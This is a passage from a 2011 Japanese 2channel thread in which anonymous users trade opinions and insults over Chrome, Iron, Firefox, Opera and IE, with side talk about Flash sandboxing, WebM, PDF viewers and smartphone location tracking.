132 :名無しさん@お腹いっぱい。:2011/04/16(土) 10:31:37.00 ID:fgHqRhcS0
ゴミ使う奴はレスも程度が低いなwwwwwwwww

133 :名無しさん@お腹いっぱい。:2011/04/16(土) 11:17:49.03 ID:oLR/iom90
ひ!

134 :名無しさん@お腹いっぱい。:2011/04/16(土) 12:31:51.49 ID:I/POiFGV0
で、結局一番総合的に優れてるのはどれなの?

135 :名無しさん@お腹いっぱい。:2011/04/16(土) 12:51:37.38 ID:FEECYjBm0
SRWareIron

136 :名無しさん@お腹いっぱい。:2011/04/16(土) 13:08:38.93 ID:MJCMJ4FA0
個々の機能の平均の総合ならOpera
しかし全体的にみるとだめになるのもOpera

137 :名無しさん@お腹いっぱい。:2011/04/16(土) 13:26:40.49 ID:v1RrcvSL0
Operaが順調にクソ化している

1 :風吹けば名無し:2011/04/15(金) 00:44:52.69 ID:3K96bmoF
11.00にアップデートしたんだがSpeedDialが見にくいわ、
表示されないサイトが増えるわ、劣化しすぎ
なぜかAmazonのベストセラーページも一部表示されなくなった

Pale Moonに切り替えていく

総レス数 1
1 KB [ 2ちゃんねる 3億PV/日をささえる レンタルサーバー \877/2TB/100Mbps]


                 ___  _  _   _
                /  | |_| |_  |__/ |\
                \//   |_  |\  | ̄\
  
                 最   強   伝   説

             〜 The Legend of A Cool Browser 〜

138 :名無しさん@お腹いっぱい。:2011/04/16(土) 13:30:17.10 ID:p+oNKtPK0
>>135
ちょっと前まではChromeより速かったが今じゃ見る影もなし。

139 :名無しさん@お腹いっぱい。:2011/04/16(土) 13:30:58.98 ID:3dTWiaTi0
137 名前:あぼ〜ん[あぼ〜ん] 投稿日:あぼ〜ん

140 :名無しさん@お腹いっぱい。:2011/04/16(土) 13:36:09.12 ID:2lgZSYQ/0
>>138
有意差なんてないだろw
スピードについては
情報の扱い方が違うってのが最大の違いなんだし

141 :名無しさん@お腹いっぱい。:2011/04/16(土) 13:39:16.10 ID:fqQSCbEHO
クロム強すぎ

142 :名無しさん@お腹いっぱい。:2011/04/16(土) 14:12:31.87 ID:2bi+M8zC0
IronはFlashのsandbox動作ができないから常用はありえない

143 :名無しさん@お腹いっぱい。:2011/04/16(土) 15:11:39.46 ID:Qxp6bIdhO
Ironユーザーは情強ぶった情弱が多いよな

144 :名無しさん@お腹いっぱい。:2011/04/16(土) 15:20:23.17 ID:oYV6RnmD0
というか、IEユーザーとOperaユーザー以外は全員そうだろ

145 :名無しさん@お腹いっぱい。:2011/04/16(土) 15:30:25.03 ID:L3C9gNI+0
結局Chromeが一番バランスいい
一般人はChromeでガチ

146 :名無しさん@お腹いっぱい。:2011/04/16(土) 15:41:27.49 ID:2lgZSYQ/0
>>142
落ちたら落ちたでいいしw
そんなもんは
フラッシュ動画ばかりずっと見続けている暇人以外には無用だよ

147 :名無しさん@お腹いっぱい。:2011/04/16(土) 15:56:22.87 ID:2bi+M8zC0
>>146
Flash動画見てない人は関係無いと思ってるところが情弱なんだが
「drive-by download」って用語を勉強してこい

Flash自体をインストールしていないというなら言うことはないです。ごめんなさい

148 :名無しさん@お腹いっぱい。:2011/04/16(土) 16:08:51.06 ID:X179wZDfP
>Flashのsandbox動作ができない
クロームの唯一の利点外しちゃゴミだろ

149 :名無しさん@お腹いっぱい。:2011/04/16(土) 17:11:31.76 ID:MJCMJ4FA0
Firefox 4、最初のアップデートは4月26日
http://journal.mycom.co.jp/news/2011/04/15/001/

IE9日本語正式版が4月26日
Flockサポート終了も4月26日

150 :名無しさん@お腹いっぱい。:2011/04/17(日) 14:14:56.06 ID:k0XX91gI0
今まで海外のエロサイト見ててもチンコが反応することはあっても
ノートン先生が反応することなんて一回もないんだが、
そのドライブなんちゃらってのはどこいったらお目にかかれるんだ?

151 :名無しさん@お腹いっぱい。:2011/04/17(日) 14:42:00.19 ID:7lAXY9H50
今の流行はMS Removal Tool
アンチウィルスソフトが入ってれば安全と思ってる情弱多すぎワロタ

152 :名無しさん@お腹いっぱい。:2011/04/17(日) 15:01:59.26 ID:zusavNVfP
security toolの進化系か?

153 :名無しさん@お腹いっぱい。:2011/04/17(日) 15:37:33.00 ID:1xyM8Kqe0
最近出てきたウイルスか・・・初めて知った。今はどうだか分からんがMSEで防げなかったって書いてたから不安だな。

154 :名無しさん@お腹いっぱい。:2011/04/17(日) 20:01:50.41 ID:k0XX91gI0
ぐぐってみたがろくな情報ないな
かかるのは知恵遅れ系の情弱サイトばっか
どうせWindowsUpdateもしてない糞PCでしか被害ないんだろ

155 :名無しさん@お腹いっぱい。:2011/04/17(日) 21:24:50.92 ID:kXNrP+/c0
一般人chromeはガチだな、pdfはchromeで開くしflashまで自動でアップデートやってくれるし

156 :名無しさん@お腹いっぱい。:2011/04/17(日) 21:35:57.92 ID:EoCoe8CB0
>>155
PDF読めるのはまじありがたいな。
アドベの糞ソフトなんてなるべく入れたくないからね。

157 :名無しさん@お腹いっぱい。:2011/04/17(日) 22:36:30.54 ID:+7tY/pEp0
そういやFirefoxも簡易PDFリーダーを内蔵するんだっけか。
何れIEやOperaなんかも自前で簡易PDFリーダー作るんかね?

158 :名無しさん@お腹いっぱい。:2011/04/17(日) 22:52:39.09 ID:DXlj4o3j0
Win8はOS標準でPDF開けるっていうのを聞いた気がするな

159 :名無しさん@お腹いっぱい。:2011/04/17(日) 23:03:41.02 ID:z0X0BXMC0
アドベは色々と余計な機能入れ過ぎて重くなってるんだよな
テキストと書式情報と差し込みの画像、そんだけサポートしてりゃ充分なのに

160 :名無しさん@お腹いっぱい。:2011/04/18(月) 08:11:35.22 ID:vpbV+UfU0
PDFはGoogle Docsで読んでる

161 :名無しさん@お腹いっぱい。:2011/04/18(月) 20:07:57.85 ID:OmOs2VrR0
>>98
chromeじゃね?

webアプリだったら、GoogleMaps
OSだったら Android かね。


162 :名無しさん@お腹いっぱい。:2011/04/19(火) 13:03:41.55 ID:043rZclb0
メニューバーとかの中だとホイールクリックが機能しなくなるブラウザはゴミ

163 :名無しさん@お腹いっぱい。:2011/04/19(火) 13:14:23.87 ID:4wMBnm1Z0
>>161
Mapも最近駄目だ。Yahoo地図の方が良いくらい。
Mailとリーダーだけは最強かな。

164 :名無しさん@お腹いっぱい。:2011/04/19(火) 13:48:21.51 ID:kIQZHh/70
マウスは甘え

165 :名無しさん@お腹いっぱい。:2011/04/19(火) 14:12:46.07 ID:pdaAz6TV0
俺は日本のアーティストではスピッツは宝だと思ってるよ。
あいつらほど日本の女々しさ(欧米と比べて)を魅力に変換してる歌い手もそう居ないからね
日本代表でいいよもう。あの雰囲気は外人には絶対出せない。
B'zなんか所詮エアスミの劣化コピーって本人達が認めたくらい欧米コンプの象徴
洋楽厨の嘲笑の的でしょ。ウリにする所が180度違う。
「日本の魅力」を世界に売り出すつもりなら、欧米文化を模倣してるだけじゃ論外。猿真似ジャップと馬鹿にされるだけw

166 :名無しさん@お腹いっぱい。:2011/04/19(火) 14:14:30.14 ID:tqmAWExD0
IEとFirefox以外全滅や

> これは天下の ICC : International Color Consortium / 国際色協会 も行っているテストで、
> 一切の色管理を行っていないシステムだと色がめちゃくちゃに見えます。
> 逆に最低限のカラーマッチングができるシステムなら、全ての画像が同じように見えます。

(a) http://miyahan.com/me/report/computer/070125_WUXGA_LCD/img/CMScheck4A.jpg
(b) http://miyahan.com/me/report/computer/070125_WUXGA_LCD/img/CMScheck4B.jpg
(c) http://miyahan.com/me/report/computer/070125_WUXGA_LCD/img/CMScheck4C.jpg

167 :名無しさん@お腹いっぱい。:2011/04/19(火) 15:02:10.17 ID:JtOKOEVH0
>>166
これか。IE8@XPだとダメだった

http://miyahan.com/me/report/computer/070125_WUXGA_LCD/ColorManagement.html


168 :名無しさん@お腹いっぱい。:2011/04/19(火) 15:09:51.85 ID:PFvZef4B0
>>166がSafariを使ったことがないのはわかった。

169 :名無しさん@お腹いっぱい。:2011/04/19(火) 15:17:14.00 ID:TNdSeJGzP
>>166
V2C対応してた

170 :名無しさん@お腹いっぱい。:2011/04/19(火) 18:20:22.39 ID:2LfOKH5k0
>>166 V2Cでさえまともに見れる

171 :名無しさん@お腹いっぱい。:2011/04/19(火) 20:24:09.57 ID:y3+InLpRP
>>166
mac版ならOpera以外対応してるぞ
因みにそれ気にするのmac厨だけだから
win版が対応してなくても何の問題もない

172 :名無しさん@お腹いっぱい。:2011/04/19(火) 20:31:54.54 ID:lKP7tsyv0
Janeのビューアーだとヤベェ

173 :名無しさん@お腹いっぱい。:2011/04/20(水) 12:06:07.07 ID:qZMvYDnP0
JaneSpyle糞杉wwww

174 :名無しさん@お腹いっぱい。:2011/04/20(水) 12:12:03.44 ID:lZof0RE80
173 名前:あぼ〜ん[あぼ〜ん] 投稿日:あぼ〜ん

175 :名無しさん@お腹いっぱい。:2011/04/20(水) 19:31:21.98 ID:4fmAYZaGP
もういいよ兵庫は

176 :名無しさん@お腹いっぱい。:2011/04/20(水) 19:36:15.62 ID:CSfzQ6IQ0
FF6.0やべーよ、FF使い続けてよかったと思える軽快さ
この速さと拡張性維持できれば間違いなく最強だな

177 :名無しさん@お腹いっぱい。:2011/04/20(水) 20:53:19.30 ID:MwIHEgUH0
FF6ってスーファミだっけ?

178 :名無しさん@お腹いっぱい。:2011/04/20(水) 21:15:23.37 ID:hWHSRPlb0
FFってどっちの?

179 :名無しさん@お腹いっぱい。:2011/04/20(水) 21:26:12.31 ID:GkhtyGfI0
いや、流石に釣りだろ

180 :名無しさん@お腹いっぱい。:2011/04/20(水) 21:31:07.70 ID:4fmAYZaGP
PSでも出てるよ

181 :名無しさん@お腹いっぱい。:2011/04/21(木) 13:44:04.33 ID:2V6zV7IG0
YouTube、全動画をWebM形式に変換すると発表
http://toki.2ch.net/test/read.cgi/bizplus/1303352367/
現在、WebMに対応する主なWebブラウザは、Google Chrome、Firefox、Operaで、
Microsoftの IE では拡張機能を追加しないとWebMの動画を再生できない。


182 :名無しさん@お腹いっぱい。:2011/04/21(木) 14:01:33.65 ID:TrbAJ3vH0
WebMの扱いをFlashやH.264と同等に引き上げるってだけだろ。

183 :名無しさん@お腹いっぱい。:2011/04/21(木) 14:09:39.32 ID:Kyx/iqGf0
WebMって再生支援効効くのかね?
H.264なら、ビデオカードのほうが対応してるんだが・・・

184 :名無しさん@お腹いっぱい。:2011/04/21(木) 18:09:01.16 ID:pLC2LV83P
めんどくせー

185 :名無しさん@お腹いっぱい。:2011/04/21(木) 20:41:34.48 ID:0n934zAi0
>>183
GoogleがWebMに力を入れる姿勢を見せることで対応製品増えるんじゃない

186 :名無しさん@お腹いっぱい。:2011/04/21(木) 20:46:25.47 ID:Xkn91JWs0
Google1社 vs …
さすがにな。

187 :名無しさん@お腹いっぱい。:2011/04/21(木) 20:49:41.30 ID:x5WVcIAR0
Mozillaはどっち?
それとも中立派?

188 :名無しさん@お腹いっぱい。:2011/04/21(木) 20:51:53.62 ID:0n934zAi0
MozillaはWebM一択
ライセンス的に

189 :名無しさん@お腹いっぱい。:2011/04/21(木) 23:02:10.43 ID:rzYZHIBi0
今更だけど、Firefoxってアドオン入れないとほんとに何もできないのな
かゆいところに手が届かないってレベルじゃない、内臓がかゆいってレベル

190 :名無しさん@お腹いっぱい。:2011/04/21(木) 23:10:32.11 ID:ogmOBPRc0
>>187
MozillaとしてはWebMだけど、プラグインを提供してくれるなら表示していいよ、というスタンスかと

191 :名無しさん@お腹いっぱい。:2011/04/21(木) 23:48:16.83 ID:csALb+DD0
もともと、H.264に反対してたのはMozillaとOperaじゃななかったか
それに、MozillaとOperaはGoogleに逆らうことは出来ないよ

192 :名無しさん@お腹いっぱい。:2011/04/21(木) 23:54:36.78 ID:TrbAJ3vH0
>>189
そんなこと言ったらChromeやSafari、IEはどうなるんだよ。
それなりに拡張があるChromeはともかく、SafariやIEはかきむしって血が出るレベルだぞ。

193 :名無しさん@お腹いっぱい。:2011/04/21(木) 23:56:02.39 ID:weiIGMLO0
>>192
そのままてんかん起こしてあぼーんしてもオレは困らないな

194 :名無しさん@お腹いっぱい。:2011/04/21(木) 23:58:58.02 ID:TrbAJ3vH0
つか、標準でFirefoxより機能豊富なのはOperaだけだろうに。
どういうわけか一番機能が足りてないような錯覚をする奴が多いな。

195 :名無しさん@お腹いっぱい。:2011/04/22(金) 00:17:01.88 ID:bx5Kg9wb0
なぜ、標準で機能を豊富にする必要があるのか?
人によって、この機能はいるけど、これはいらないとか出てくるでしょ
標準は最低限でいい、そして自分が必要なものを拡張していけばいいのではないのか

196 :名無しさん@お腹いっぱい。:2011/04/22(金) 00:59:49.15 ID:ep4hmkkS0
ろくに拡張するスキルもなければ気力もないアホは宗教に浸っとけばいい

197 :名無しさん@お腹いっぱい。:2011/04/22(金) 01:04:25.25 ID:p8aM1vpeP
標準でもOperaの機能は完成度が低いから話にならない

198 :名無しさん@お腹いっぱい。:2011/04/22(金) 01:10:11.65 ID:/uATZtTw0
でも最新版がα版やβ版じゃないブラウザって
今はOperaとSafariくらいか

最新版は安定版ですよという自負か、次へのステップの指針が見えていないだけか

199 :名無しさん@お腹いっぱい。:2011/04/22(金) 01:26:58.92 ID:FAec0VEI0
Firefoxの誰が作ったかもしれないアドオンを入れて機能を拡張するという考えが私には理解出来ない

200 :名無しさん@お腹いっぱい。:2011/04/22(金) 01:33:41.09 ID:ep4hmkkS0
フリーソフト一つ入れるのにためらっちゃう人ですか?

201 :名無しさん@お腹いっぱい。:2011/04/22(金) 02:07:33.42 ID:IBA4K9E50
   ____
   /__.))ノヽ   
   .|ミ.l _  ._ i.)  
  (^'ミ/.´・ .〈・ リ   Firefoxのアドオンはワシが作った
  .しi   r、_) |  
    |  `ニニ' /       
   ノ `ー―i´

202 :名無しさん@お腹いっぱい。:2011/04/22(金) 02:48:48.16 ID:FAec0VEI0
>>200
うん。個人が作ってるようなフリーソフトはなるべく使わない

つーか>>196拡張に大したスキルなんて要らんだろw大げさな

203 :名無しさん@お腹いっぱい。:2011/04/22(金) 03:05:20.10 ID:fBttiVor0
こういうアホが国産PCで満足してる情弱なんだろうなwww

204 :名無しさん@お腹いっぱい。:2011/04/22(金) 03:25:57.30 ID:IBA4K9E50
じゃぁ会社が作ってるようなソフトが信用できるのかと

205 :名無しさん@お腹いっぱい。:2011/04/22(金) 03:44:31.53 ID:FAec0VEI0
アホとか言われてもなぁ
その程度のことでアドオン入れることの方が自分にとってはアホらしいがなぁ

206 :名無しさん@お腹いっぱい。:2011/04/22(金) 03:49:04.65 ID:FAec0VEI0
ごめんその程度ってのを明記してなかったから無視して

207 :名無しさん@お腹いっぱい。:2011/04/22(金) 03:54:56.87 ID:YeIogB3U0
意外とこのスレの住人って煽り耐性無いんだな

208 :名無しさん@お腹いっぱい。:2011/04/22(金) 03:55:39.57 ID:fBttiVor0
前提を平気で覆すw
アホの見本だったな

209 :名無しさん@お腹いっぱい。:2011/04/22(金) 04:08:13.38 ID:FAec0VEI0
>>208
何を言ってるのかよく分からないです

210 :名無しさん@お腹いっぱい。:2011/04/22(金) 05:55:01.79 ID:uSxFfGA/0
>>207
ここは煽りスレじゃなくてガチが推奨されるスレなんだよ。
煽りは少ない。

211 :名無しさん@お腹いっぱい。:2011/04/22(金) 06:58:07.27 ID:bx5Kg9wb0
煽られたら、煽り返す、これが正しい2chの作法です

212 :名無しさん@お腹いっぱい。:2011/04/22(金) 07:50:41.26 ID:EtCzS89n0
神を超えたブラウザfirefox6新しい世界を創る

213 :名無しさん@お腹いっぱい。:2011/04/22(金) 10:23:17.07 ID:lt4Ph1fs0
「テクノロジーが神に代わることはできない」──ローマ法王

214 :名無しさん@お腹いっぱい。:2011/04/22(金) 10:29:47.92 ID:GkcYOiwy0
>>213
神は概念だからな
全ての事象は神の奇跡の賜物、とか言われたら
その理屈の中では、どんなテクノロジーだって神を越える事はできない

だからこそ、宗教は胡散臭く感じるわけだが

215 :名無しさん@お腹いっぱい。:2011/04/22(金) 10:31:56.35 ID:qL8r1h8s0
神を信じなくなってお布施がもらえなくなったら困るから
これが真理

216 :名無しさん@お腹いっぱい。:2011/04/22(金) 12:27:17.90 ID:Ska3jIXU0
ID:FAec0VEI0
痛いなこいつ
プライドだけやけに高いんだろうな
煽られすぎると発狂して荒らした前科ありそうw

217 :名無しさん@お腹いっぱい。:2011/04/22(金) 13:15:49.43 ID:rTuvglmG0
神は自分自身のうんたらかんたら──ジェシー

218 :名無しさん@お腹いっぱい。:2011/04/22(金) 13:43:43.66 ID:uxlxvi8m0
宗教家には切り札の、世界は神が作ったから科学だって神がうんたらかんたらがあるからな

219 :名無しさん@お腹いっぱい。:2011/04/22(金) 15:16:15.49 ID:CNkTrGsr0
宗教談義は他所の板でやれカス


220 :名無しさん@お腹いっぱい。:2011/04/22(金) 15:26:19.16 ID:98SWqJm/0
FF4で散々アドオン入れまくってる俺からしてみれば、もうほかのブラウザ使えん

FF4で一瞬で済む作業が出来ないなんてもう無理

戦争にすらならんよ。FFの圧勝だもの


221 :名無しさん@お腹いっぱい。:2011/04/22(金) 15:59:40.11 ID:VJmvc8WC0
よく喧嘩してるな
煽られてブラウザ乗り換えるやつなんてそう居ないだろうに・・・

222 :名無しさん@お腹いっぱい。:2011/04/22(金) 16:26:51.60 ID:98SWqJm/0
むしろ意固地になって何が何でも変えない、みたいになるよw

223 :名無しさん@お腹いっぱい。:2011/04/22(金) 16:40:41.71 ID:/AWDXB3LO
>>222
百理ある

224 :名無しさん@お腹いっぱい。:2011/04/22(金) 17:01:03.26 ID:8oFrmvBO0
Chromeは本当に速さだけだったな
本スレ過疎すぎて、このスレより勢いが無いとか終わってる

225 :名無しさん@お腹いっぱい。:2011/04/22(金) 17:37:04.98 ID:OOac3ZK70
最初からFFで決まってたろ
もうこのスレいらね

226 :名無しさん@お腹いっぱい。:2011/04/22(金) 17:49:22.98 ID:1qvMP9HfO
だってクロムと比べたらどのブラウザも遅いし(差は詰まったけど)、傘下だけあっていまや神とされるYoutubeも速くなるし
それぞれの分野で評価が高い(マップとかカレンダーとかGmailとかドキュメントとか)Googleさんアプリケーションとの連携プレーも拡張で抜群になるし…

227 :名無しさん@お腹いっぱい。:2011/04/22(金) 18:08:09.06 ID:vdJx6uNh0
もうwebの主流はfacebookに移ってるから
Googleさんアプリとの連携を謳われても・・・ねぇ?

228 :名無しさん@お腹いっぱい。:2011/04/22(金) 18:34:54.42 ID:xaxCGgQy0
chromeの利点ってブックマークを高速で検索できることだろ

229 :名無しさん@お腹いっぱい。:2011/04/22(金) 18:40:43.78 ID:gUAkHehJ0
>>222
IE6使いなんかに特に多いな、その傾向は

230 :名無しさん@お腹いっぱい。:2011/04/22(金) 19:21:29.13 ID:ao2Wg+i80
iPhoneユーザーの位置送信発覚で、Apple怖ええよ、Androidの方がマシか、
と思ってたが全然違った。。
やはり「あの会社」に匹敵するものはなかったようだ。
こええよお。まじこえええ。これじゃあブラウザも信用できるわけがない。


Androidもユーザーの位置情報を記録、Googleに送信か
ITmedia News 4月22日(金)14時57分配信
 iPhoneがユーザーの位置情報を記録・蓄積していることが明らかになったが、
Androidも位置情報を取得・蓄積し、Googleに送信していることが分かったと、
Wall Street Journal(Web版)が報じた。

 セキュリティ専門家が台湾HTC製のAndroidスマートフォンを調べたところ、
ユーザーの位置情報を数秒ごとに記録し、少なくとも1時間に数回、
Googleに送信していたという。氏名や場所、付近のWi-Fiネットワークの信号強度も
送信していた。Googleはコメントを拒否したという。

 一方、Appleはユーザーの位置情報を12時間ごとにAppleに送信していることを
米議員への手紙で明らかにしたという。

231 :名無しさん@お腹いっぱい。:2011/04/22(金) 20:04:38.87 ID:VJmvc8WC0
>>229
IE6使ってんのは他のブラウザの存在を知らないだけじゃないのか?
流石にIE6の長所は思いつかないな

232 :名無しさん@お腹いっぱい。:2011/04/22(金) 20:30:32.14 ID:p/JR2kaGP
あるだろウイルス収集には欠かせない

233 :名無しさん@お腹いっぱい。:2011/04/22(金) 21:27:51.36 ID:/uATZtTw0
>>232
あとフィッシング詐欺被害者になる為とか

234 :名無しさん@お腹いっぱい。:2011/04/22(金) 21:39:04.96 ID:p8aM1vpeP
迷惑千万だな
他人にまで被害を及ぼすとか

235 :名無しさん@お腹いっぱい。:2011/04/23(土) 03:23:49.12 ID:qRJ1Iazt0
Googleアプリだけはないよ
今まで黙ってたということは、Googleが今まで言っていたことも嘘である可能性が高い
情報送信の可否を決める設定自体が実は何の意味もないというのはあり得る
それがGoogleの対応のありかた
検索サイトとして使うことは避けられないが、アプリやその他のサービスは使えるものじゃないな

236 :名無しさん@お腹いっぱい。:2011/04/23(土) 12:39:47.73 ID:TiY+ENHlP
そんな当たり前のことを長々と・・・

237 :名無しさん@お腹いっぱい。:2011/04/23(土) 12:43:21.63 ID:h4nd27vW0
うちの学校の情報の教師でもIE6使ってるからな
ブラウザ自体がマニアック

238 :名無しさん@お腹いっぱい。:2011/04/23(土) 12:51:14.08 ID:I4OaaUt00
その学校個人情報とか流出してそうだな

239 :名無しさん@お腹いっぱい。:2011/04/23(土) 12:56:16.41 ID:kYPpnQJJ0
ネットつないでりゃ普通にブラウザのUPDATE来るはずだが
無視してんのかね

240 :名無しさん@お腹いっぱい。:2011/04/23(土) 13:22:33.78 ID:fVmEKzta0
Chrome使うぐらいならIron使った方がいいだろうな
Ironの方が速いし

それはそうとPeacekeeperが使えなくなってるな
どうしたんだ

241 :名無しさん@お腹いっぱい。:2011/04/23(土) 13:30:55.21 ID:xh7rlkpS0
>>239
そういうのは切ってあんだよ、学校や役所ではね

242 :名無しさん@お腹いっぱい。:2011/04/23(土) 13:32:09.46 ID:TiY+ENHlP
クロームの利点のほとんどが使えないアイアンなんか糞だろ

243 :名無しさん@お腹いっぱい。:2011/04/23(土) 13:36:36.47 ID:fVmEKzta0
クロームの利点・・・・・はて?

244 :名無しさん@お腹いっぱい。:2011/04/23(土) 13:42:13.75 ID:fVmEKzta0
peacekeeper復活してたな
さすが対応も早い

245 :名無しさん@お腹いっぱい。:2011/04/23(土) 14:05:13.50 ID:XqA7X2OS0
>>243
社員なんじゃね

246 :名無しさん@お腹いっぱい。:2011/04/23(土) 14:33:50.06 ID:wKygtaU10
社員降臨と聞いて

247 :名無しさん@お腹いっぱい。:2011/04/23(土) 16:19:37.11 ID:XRzn3+CSO
>>239
アップデートは管理者の仕事。
一般ユーザーにはアップデートできる権限を持たせない。
これが普通。
一般ユーザーのプロファイルディレクトリを実行拒否にしてChromeをインストールさせない。
これも普通。

248 :名無しさん@お腹いっぱい。:2011/04/24(日) 19:52:53.10 ID:KhBjIcRJ0
クロムが最終戦争に勝利したとか聞いて来ました

249 :名無しさん@お腹いっぱい。:2011/04/24(日) 19:58:19.27 ID:eTTG+0qn0
セキュリティ面ではクロムは圧勝だな
他は知らん

250 :名無しさん@お腹いっぱい。:2011/04/24(日) 20:03:25.88 ID:tou8WScx0
なんだクロームが勝利したのか
ならこのスレ見る必要ないな
じゃあなお前ら

251 :名無しさん@お腹いっぱい。:2011/04/24(日) 20:10:23.45 ID:9/PPZ7p40
Pwnなんたらのあれのこと?
だれかUrlください

252 :名無しさん@お腹いっぱい。:2011/04/24(日) 20:43:28.36 ID:QqRKsVrW0
まぁ本体がスパイウェアなのにセキュリティってなぁ
いわば、ノーベル平和賞に対して孔子平和賞を創設した中国みたいなもん

253 :名無しさん@お腹いっぱい。:2011/04/24(日) 20:51:36.29 ID:Cjl6/voTP
IEって今でもjwordにレイプされてんの?

254 :名無しさん@お腹いっぱい。:2011/04/24(日) 21:32:38.77 ID:t99CJsfE0
まあ殆どのブラウザがdoubleclick.comに犯される事を是としてる訳だが

255 :名無しさん@お腹いっぱい。:2011/04/24(日) 21:44:55.21 ID:XVYNgMs4O
あれ?Operaって嫌われてんの?

広告付の頃から使ってるんだけど。

256 :名無しさん@お腹いっぱい。:2011/04/24(日) 21:54:22.64 ID:9YCJFDle0
嫌われてはいない。相手にしてもらえないだけだ。

257 :名無しさん@お腹いっぱい。:2011/04/24(日) 21:56:00.30 ID:uFNvOPeB0
最強すぎてか

258 : 忍法帖【Lv=8,xxxP】 【東電 84.7 %】 :2011/04/24(日) 21:56:37.55 ID:9/PPZ7p40
だって仙人だからな

259 :名無しさん@お腹いっぱい。:2011/04/24(日) 22:53:56.03 ID:1vxXzrR70
operaだけgoogle topの表示が1つ前のまま

260 :名無しさん@お腹いっぱい。:2011/04/24(日) 23:03:31.04 ID:/dJoqLa60
開発終了〜つい最近までずっとSleipnir1.66を使ってきたけど
いい加減HTML5やWebM対応ブラウザに乗り換えた方がよさそうな時期なので
FFとChromeへの乗り換えを真剣に試してみた。

FFは拡張を揃えるまでが一苦労だったが、揃えてしまえばかなり快適。
まだ、Sleipnirの完全再現には至っていないが実用に耐えるレベルにはなった。
本体がバージョンアップすると拡張が使えなくなることがある点は何とかして欲しい所。

Chromeは 右を閉じる、左を閉じる、全て閉じる が別々の拡張で提供されてるとか
キーワード+検索ワード という方法でしかWeb検索しかできないとか「ちょっと不便」という印象。
売りである「速さ」も低スペックPCでは今ひとつ体感できなかった。
拡張を入れた後、再起動せずに使えたり、本体の起動が速かったりするのは優れているとは思うが
自分にとってはそんなに重要なポイントにはならなかった。

261 :名無しさん@お腹いっぱい。:2011/04/24(日) 23:06:31.27 ID:n+p1h93CP
Flash10.2アップデートきたわw
HD動画のGPU処理

IE9の高速描画対応

FlashもIE9が最速って事かw

262 :名無しさん@お腹いっぱい。:2011/04/24(日) 23:09:46.80 ID:wwNoArHL0
比較表みたいなのはないの?

それぞれのメリットデメリットを比較できるような



263 :名無しさん@お腹いっぱい。:2011/04/24(日) 23:14:42.87 ID:XVYNgMs4O
昔、タブブラウザ推奨委員会〜みたいなWEBがあったよ。今も更新されているかは知らん。(´・ω・`)

264 :名無しさん@お腹いっぱい。:2011/04/24(日) 23:14:58.19 ID:ffgSh7Qx0
>>249のようなIT音痴にとってはなw

265 :名無しさん@お腹いっぱい。:2011/04/24(日) 23:28:09.16 ID:Cjl6/voTP
IEのFlash最速は前からじゃん何言ってんのお前

266 :名無しさん@お腹いっぱい。:2011/04/24(日) 23:30:32.17 ID:9ZpaCUVl0
>263
今でもバリバリに更新してるようだよ
FEATURE_BROWSER_EMULATIONの事を調べてたら出てきて驚いた

267 :名無しさん@お腹いっぱい。:2011/04/25(月) 02:29:10.62 ID:RGCsBGVy0
Chromeが最強なんだから
さっさとアドオン作者はFirefoxから移行してくれ

268 :名無しさん@お腹いっぱい。:2011/04/25(月) 02:42:29.09 ID:hpJGvdJw0
最強伝説なのにアドオンがちっとも増えないブラウザさんもいるんですよ?

269 :名無しさん@お腹いっぱい。:2011/04/25(月) 02:59:59.56 ID:+ti6D6af0
>>267
移行しかけたけど、Chrome拡張の縛りがきつすぎて止めた人が多いという噂。

270 :名無しさん@お腹いっぱい。:2011/04/25(月) 03:32:34.50 ID:OUZwEz6O0
Firefoxの拡張はセキュリティホールみたいなもんだからな
縛りがきついChromeの方がソフトウェアとしてまとも

271 :名無しさん@お腹いっぱい。:2011/04/25(月) 05:46:13.93 ID:aVcD89a/0
>>267
オープンソース
この武器は大きいよ
firefoxと同じアドオンでもクロームだとまったく設定がいじれずにウンコになっちまう

272 :名無しさん@お腹いっぱい。:2011/04/25(月) 05:47:51.53 ID:TX1O8+Fm0
>>271
こいつ何言ってるんだ?

273 :名無しさん@お腹いっぱい。:2011/04/25(月) 07:48:43.02 ID:KQ1HRzxs0
>>272
オープンソース
この武器は大きいよ
firefoxと同じアドオンでもクロームだとまったく設定がいじれずにウンコになっちまう

274 :名無しさん@お腹いっぱい。:2011/04/25(月) 12:54:35.33 ID:i/TIyhF50
改造ならFxが上 改造しないと何も出来ないのも事実だが

275 :名無しさん@お腹いっぱい。:2011/04/25(月) 13:17:14.22 ID:T0Rl4wkx0
何も出来ないってこたあない
バージョンアップを重ねるにつれて本体に余計な機能が追加されていってる
クロムみたいにいつまでたっても基本機能すら充実しないのとどっちが良いのかは判らんが

276 :名無しさん@お腹いっぱい。:2011/04/25(月) 13:22:33.16 ID:rL26OC910
Google Chromeは自由が制限される退屈なブラウザなのは事実だからしょうがない。
Chromeのスレも最近勢いないし。将来性もそんなに感じない。

277 :名無しさん@お腹いっぱい。:2011/04/25(月) 13:26:47.86 ID:gSxPsvBhP
IE9がアドオン入れて0.1秒でも動作が重くなったら警告をだしてくるのにたいして
機能の追加追加で重くなるFirefox
最近は何もいれなくても重い

このあたり改善したらネ申なのにな


278 :名無しさん@お腹いっぱい。:2011/04/25(月) 13:28:19.32 ID:moRufVYL0
Firefoxはアドオンなきゃ何もできないって言うけど、
初期設定でもChromeよりは機能多いだろ

279 :名無しさん@お腹いっぱい。:2011/04/25(月) 14:30:31.76 ID:uYntY4Gq0
感動的だな
だがセキュリティーホールだらけだ

280 :名無しさん@お腹いっぱい。:2011/04/25(月) 15:38:57.00 ID:db3axHPfO
最終戦争に勝利したクロムにも拡張あるのに狐使う意味がわからん。
クロムのが検索もブラウジンクも速いytubeやマップの表示もダントツなのに

情弱としか思えない

281 :名無しさん@お腹いっぱい。:2011/04/25(月) 15:50:26.84 ID:IVHyMYrl0
>>280
AdblockもまともにできないChromeのどこがいいんだか
所詮Chromeで拡張できる範囲の拡張機能しか使ってなかった情弱の戯言だな

282 :名無しさん@お腹いっぱい。:2011/04/25(月) 15:53:22.56 ID:EXNJJpdeP
>>281
Adblock世代交代したんだぜ?
それにFirefoxよりIronのほうがずっと優秀だ

283 :名無しさん@お腹いっぱい。:2011/04/25(月) 16:04:08.15 ID:dSKoXWKB0
みんな怒りすぎ

284 :名無しさん@お腹いっぱい。:2011/04/25(月) 16:06:16.70 ID:aVcD89a/0
ID:db3axHPfO

firefoxを使いこなせなかった低能
まあ、firefoxは多少の知性を必要とするからな
お前が使えないのも無理はないw

